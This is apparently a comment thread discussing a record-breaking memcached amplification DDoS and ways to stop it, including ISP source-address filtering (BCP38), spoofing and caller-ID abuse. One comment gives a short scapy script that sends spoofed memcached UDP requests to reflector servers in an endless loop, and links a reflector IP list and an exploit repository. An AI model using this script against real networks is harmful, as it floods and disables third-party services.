It has gotten much easier to wage record-breaking DDoSes
arstechnica.com
arstechnica.com
https://blog.cloudflare.com/the-root-cause-of-large-ddos-ip-...
We will have amplification attacks as long as we have ISPs that permit (and benefit) from spoofing.
On the one hand I already avoid Google because they're getting uncomfortably large, but on the other hand I feel like it's going to take a company of Google's size to take a stand, or regulatory changes, before anything will change for the better here.
It worked for improving the SSL situation and for distrusting bad CAs, didn't it? Non-rhetorical question, it feels like it did to me.
Could also be Apple, or Amazon, or maybe Netflix. Any large enough company really.
https://en.wikipedia.org/wiki/List_of_telecommunications_reg...
for example?
Lies, damn lies and UDP packets.
Another aspect is, if you configure it not just with your own prefixes but also that of your peers and downstreams (and their downstreams etc), then you need a source of ground truth. (Remember that not all ASes need to announce everything they have, all the time.) This is usually an out of band database. Then you have the problem of database needing to verify the truth, and keeping all the data fresh, etc.
Dunno, but somehow this just doesn't feel like such a realistic approach to me.
Not sure what the original source I read on it was, but you can try this: https://www.internetsociety.org/blog/2015/02/ipv6-security-m...
from scapy.all import IP, UDP, Raw, send
target = '127.0.0.256'
with open('ips.txt', 'r') as f:
ips = f.readlines()
payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
while True:
for ip in ips:
send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)
You can get ips.txt from https://pastebin.com/eSCHTTVu (like the article says)[0] https://github.com/649/Memcrashed-DDoS-Exploit/blob/master/M...
[1] https://github.com/649/Memcrashed-DDoS-Exploit/blob/3422efc0...
Any unsecured memcache server will also allow anyone to shut it down remotely.
https://github.com/649/Memfixed-Mitigation-Tool
This problem will disappear in days when people notice their memcache servers randomly shutting down unlike the other ones where you are out of luck if the ISP doesn't look at their abuse inbox ever.
Thinking about it, I could imagine a bug in some software where it just takes one malformed UDP packet to trigger an infinite amount of response packets or something like that. That would be so bad it starts being hilarious again.
Your attacker can just spoof that the attack is coming coming from the target, and you've just amplified the attack by 100x. Now they only need to spoof 1% of the traffic they did before, because you want the network to make a possee and lynch suspected DDOSers..
It’s very similar to the issue with VOIP and caller ID spoofing.
No idea why either hasn’t moved at all.
The are probably existing laws against the abuse depending on your country. They're just not enforced.
It's much easier to trace than IP traffic as well. Every internet telco will have full logs of each connection.
It is true though if the FCC started handing down fines that VoIP providers would require insurance/bonding all the way up. That would not fix it all but would be a large jump forward.
We also need end-users to force the issue. File suits and complaints. Every time we'd receive a complaint the resolution was "we blocked that number" and "we have no further info". If there was someone pushing a lawsuit through then suddenly everyone up the supplier chain would hand over their customer info right to the real end-user.
Instead, the FCC runs silly programs like their Anti-Robo-Dialer thing.
Only the first party needs to know the answer. The enforcing org can ask the first telco: was it your subscriber who initiated? If yes, fine the subscriber. If not, repeat with the telco that sent the call. If the last telco knowingly helped, fine it as well.
> Even AT&T routes to dozens of providers for some calls and has no idea what is going where.
Lol. :-) Every single connection initiated exists in very detailed CDRs. That includes the path used as well, since they have to deal with billing other telcos for handling their calls and finding the right (cheap) path at the right time. Telcos either have full records, or they lost money. I can't think of a business with more detailed record of every single transaction they make. Probably even accounting is less strict.
Filtering those has been advocated for a long time (BCP38), but unfortunately there are still networks that don't do it.
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[0] - https://en.wikipedia.org/wiki/Russian_Business_Network
We ($work) are pretty small but we provide transit for a handful of other AS's and I have extensive filtering everywhere. Downstream customers can advertise networks that are allocated/assigned to them and I'll accept IP traffic from those source addresses. If they send us traffic with random source IP addresses, though, it gets dropped by the router of ours that they are connected to.
If the origin is an infected computer, then it will most likely go off the network, and will stop participating in the attack. If the origin is a data center, then they will lose connetivity and it will motivate them to cure infected servers.
All this does is amplify the DDOS attack. You're making it easier to DDOS yourself, not harder.